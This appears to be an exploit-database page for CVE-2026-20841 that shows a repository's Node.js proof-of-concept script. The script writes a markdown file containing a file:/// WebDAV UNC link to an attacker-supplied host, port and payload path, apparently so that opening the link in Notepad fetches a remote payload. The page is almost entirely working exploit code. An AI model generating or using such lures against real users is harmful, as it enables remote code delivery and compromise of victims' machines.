Exploit databaseDownload repository ZIP
GH-fc69757ac8f4725cf4452de3e4085931
atiilla/cve-2026-20841
Sources for CVE-2026-20841
4 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files6
atiilla/cve-2026-20841Revision 57a3ef0139bf
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc.js
JavaScript · 1,082 bytes'use strict';
const fs = require('fs');
const path = require('path');
const USAGE = `Usage: node ${path.basename(__filename)} <host> <port> <payload-path>`;
function generatePoc(host, port, payloadPath) {
if (port < 1 || port > 65535) {
throw new Error('Port must be between 1 and 65535.');
}
const link = `file:///\\\\${host}@${port}\\DavWWWRoot\\${payloadPath}`;
const md = `# CVE-2026-20841 PoC\n\n[Open](${link})\n`;
fs.writeFileSync('poc.md', md);
console.log('Wrote poc.md — open it with: notepad poc.md');
}
function main(args) {
if (args.length !== 3) {
console.log(USAGE);
return 1;
}
const [host, rawPort, payload] = args;
const port = Number(rawPort);
if (!Number.isInteger(port)) {
console.error('Error: port must be an integer.');
return 1;
}
try {
generatePoc(host, port, payload);
} catch (err) {
console.error(`Error: ${err.message}`);
return 1;
}
return 0;
}
if (require.main === module) {
process.exitCode = main(process.argv.slice(2));
}